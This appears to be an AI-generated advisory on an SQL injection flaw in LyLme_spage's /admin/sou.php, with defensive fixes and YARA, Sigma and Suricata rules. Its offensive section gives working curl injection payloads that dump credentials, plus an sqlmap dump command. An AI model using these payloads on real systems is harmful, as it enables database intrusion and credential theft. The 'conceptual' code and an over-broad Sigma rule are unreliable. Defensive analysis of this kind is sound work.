CVE-2024-9790

Executive Summary

CVE-2024-9790 is a critical unauthenticated SQL injection vulnerability discovered in LyLme_spage version 1.9.5. The flaw resides in the /admin/sou.php endpoint, where the id parameter is directly concatenated into SQL queries without sanitization or parameterization. An attacker can exploit this remotely to extract, modify, or delete database contents, potentially leading to full administrative compromise of the application. The vendor was contacted but did not respond, leaving the software unpatched. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no victim action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: High (I:H) – data can be modified or deleted.
• Availability Impact: High (A:H) – database can be disrupted.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and public PoC makes this a high-priority vulnerability for any organization using LyLme_spage.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the /admin/sou.php file. The application takes the id parameter from the HTTP request and inserts it directly into a SQL query without proper escaping or prepared statements. An attacker can inject arbitrary SQL commands by appending malicious payloads to the id parameter.

Example vulnerable code snippet (conceptual):

$id = $_GET['id'];
$query = "SELECT * FROM articles WHERE id = $id";
$result = mysqli_query($conn, $query);

Because the input is not sanitized, an attacker can send a request like:

GET /admin/sou.php?id=1 UNION SELECT username,password FROM users

This would return the usernames and passwords from the users table, leading to credential theft.

The exploit is trivial to execute and does not require any special tools beyond a web browser or curl. The public PoC confirms the injection point and demonstrates data extraction.

Vulnerable vs. Patched Code

Vulnerable Code (LyLme_spage 1.9.5):

// /admin/sou.php
$id = $_GET['id'];
$sql = "SELECT * FROM articles WHERE id = $id";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical fix):

// /admin/sou.php
$id = intval($_GET['id']); // Cast to integer
$sql = "SELECT * FROM articles WHERE id = $id";
$result = mysqli_query($conn, $sql);

Or better, using prepared statements:

$stmt = $conn->prepare("SELECT * FROM articles WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();

Since the vendor is unresponsive, no official patch exists. Users must implement the fix themselves or migrate away from the software.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy LyLme_spage 1.9.5 on a local server (e.g., using XAMPP or Docker).
2. Ensure the /admin/sou.php endpoint is accessible.

Exploitation Steps:

1. Confirm the injection point:

   curl "http://target.com/admin/sou.php?id=1'"
   

   If a SQL error is returned, the endpoint is vulnerable.

2. Extract database version:

   curl "http://target.com/admin/sou.php?id=1 UNION SELECT @@version,2,3-- -"
   

3. Dump user credentials:

   curl "http://target.com/admin/sou.php?id=1 UNION SELECT username,password,3 FROM users-- -"
   

4. Use sqlmap for automated exploitation:

   sqlmap -u "http://target.com/admin/sou.php?id=1" --batch --dump
   

No public exploit-db code was provided, but the above manual steps are sufficient for exploitation.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /admin/sou.php for unusual id parameters containing SQL keywords (e.g., UNION, SELECT, --).
• Use WAF rules to block SQL injection patterns.
• Enable database query logging to detect anomalous queries.

Mitigation:

• Immediately apply input validation and parameterized queries (see patched code).
• Restrict access to /admin/ directory via IP whitelisting or VPN.
• If patching is not possible, take the application offline or replace it.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/sou.php with id parameter containing SQL keywords.
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).
• File IOCs:
  • Modified or new files in the web root (e.g., webshells).
  • Suspicious entries in web server logs (e.g., 1 UNION SELECT).
• System IOCs:
  • Unexpected database users or privileges.
  • Unusual database queries in logs.

Detection Engineering

YARA Rule

rule CVE_2024_9790_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting LyLme_spage /admin/sou.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9790"
    strings:
        $sqli1 = /id=\d+['\"]?\s*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1)/i
        $sqli2 = /id=\d+['\"]?\s*--/
        $sqli3 = /id=\d+['\"]?\s*\/\*/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-9790 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against LyLme_spage /admin/sou.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "id="
            - "UNION"
            - "SELECT"
            - "1=1"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9790 SQL Injection Attempt"; flow:to_server,established; content:"/admin/sou.php"; http_uri; pcre:"/id=\d+['\"]?\s*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If using LyLme_spage 1.9.5, take the /admin/sou.php endpoint offline or restrict access via .htaccess or firewall rules.
2. Code Fix: Replace the vulnerable code with parameterized queries (see patched code section).
3. Input Validation: Cast the id parameter to an integer before using it in SQL queries.
4. Web Application Firewall (WAF): Deploy a WAF with rules to block SQL injection patterns.
5. Monitor: Enable detailed logging and monitor for exploitation attempts.
6. Replace Software: Consider migrating to a maintained alternative if the vendor remains unresponsive.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.